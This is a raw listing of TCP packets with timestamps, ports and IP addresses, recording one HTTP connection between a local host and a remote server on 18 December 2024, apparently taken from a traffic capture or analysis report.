Dec 18, 2024 19:08:11.730889082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.730938911 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.731045008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.731102943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.732089043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.732105017 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.732161045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.733118057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.733182907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.733284950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.733441114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.734303951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.734364986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.734781027 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.734886885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.735364914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.735414982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.735517025 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.735644102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.736547947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.736598969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.736599922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.736646891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.737684965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.737700939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.737756968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.737756968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.739607096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.739629984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.739682913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.739922047 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.739942074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.739973068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.740003109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.741585016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.741622925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.741682053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.742332935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.742351055 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.742409945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.743359089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.743418932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.743418932 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.743477106 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.744443893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.744491100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.744498014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.744544029 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.745516062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.745560884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.745774031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.745831013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.746730089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.746746063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.746773958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.746804953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.747817039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.747900963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.747967958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.748981953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.749072075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.749124050 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.750106096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.750121117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.750150919 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.750180006 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.751180887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.751259089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.751332045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.752346992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.752448082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.752482891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.752515078 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.753411055 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.753474951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.753499985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.753549099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.754627943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.754643917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.754674911 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.754703999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.755773067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.755883932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.755944967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.756798983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.756855965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.756917000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.757926941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.758022070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.758024931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.758093119 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.759011030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.759068966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.759327888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.759376049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.760226011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.760312080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.760417938 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.761440992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.761457920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.761495113 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.761527061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.762479067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.762628078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.762684107 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.763582945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.763757944 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.763818026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.764684916 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.764744043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.764795065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.764846087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.898313999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.898391008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.898389101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.898514986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.898765087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.898953915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.898982048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.899262905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.899842978 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.899939060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.900000095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.900845051 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.900907993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.901278019 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.901294947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.901335001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.901367903 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.902185917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.902255058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.902301073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.902348995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.903328896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.903353930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.903378963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.903412104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.904301882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.904362917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.904434919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.904670954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.905369043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.905494928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.905555964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.906418085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.906475067 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.906570911 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.906621933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.907465935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.907557011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.907654047 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.908600092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.908617020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.908638954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.908668041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.909595013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.909610033 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.909666061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.909699917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.910495043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.910538912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.910654068 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.910695076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.911623001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.911638975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.911694050 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.912643909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.912842035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.912899971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.913747072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.913763046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.913804054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.913832903 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.914741039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.914827108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.914871931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.915736914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.915786028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.915813923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.915862083 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.916794062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.916848898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.916894913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.917907000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.917922974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.917944908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.917984962 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.918827057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.918943882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.919001102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.919853926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.919904947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.919986963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.920032978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.920913935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.921008110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.921055079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.921917915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.921969891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.922157049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.922442913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.923062086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.923147917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.923212051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.924066067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.924137115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.924154043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.924211025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.925077915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.925154924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.925307035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.925353050 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.926141024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.926290989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.926326990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.926326990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.927262068 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.927345037 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.927381039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.928080082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.928313017 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.928371906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.928443909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.928492069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.929347992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.929363012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.929384947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.929418087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.930288076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.930330992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.930366993 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.930408955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.931304932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.931375027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.931730986 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.931854010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.932466984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.932601929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.932686090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.932749987 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.933372974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.933417082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.933594942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.934326887 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.934401989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.934462070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.934514046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.934983015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.935445070 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.935492039 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.935617924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.935659885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.936580896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.936640978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.936721087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.936779022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.937638044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.937693119 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.937726021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.937758923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.938757896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.938775063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.938826084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.939745903 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.939762115 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.939804077 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.940623999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.940728903 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.940819979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.940881968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.941761017 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.941776037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.941833019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.942730904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.942775965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.942936897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.942977905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.943883896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.943898916 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.943919897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.943948984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.944825888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.944871902 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.945072889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.945117950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.945930004 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.945976019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.946011066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.946053982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.947006941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.947021961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.947045088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.947068930 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.948043108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.948358059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.948405027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.949059963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.949074984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.949125051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.950176001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.950222969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.950227976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.950261116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.951150894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.951189041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.951206923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.951246977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.952111006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.952126980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.952148914 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.952181101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.090358973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.090451002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.090636969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.090673923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.090723991 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.090800047 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.090850115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.091927052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.091943026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.091974020 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.092015982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.092941999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.093528032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.093579054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.093710899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.093759060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.094367027 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.094413042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.094562054 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.094605923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.095485926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.095531940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.095570087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.095616102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.096438885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.096489906 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.096508980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.096524954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.097595930 CET	80	49720	31.41.244.11	192.168.2.5
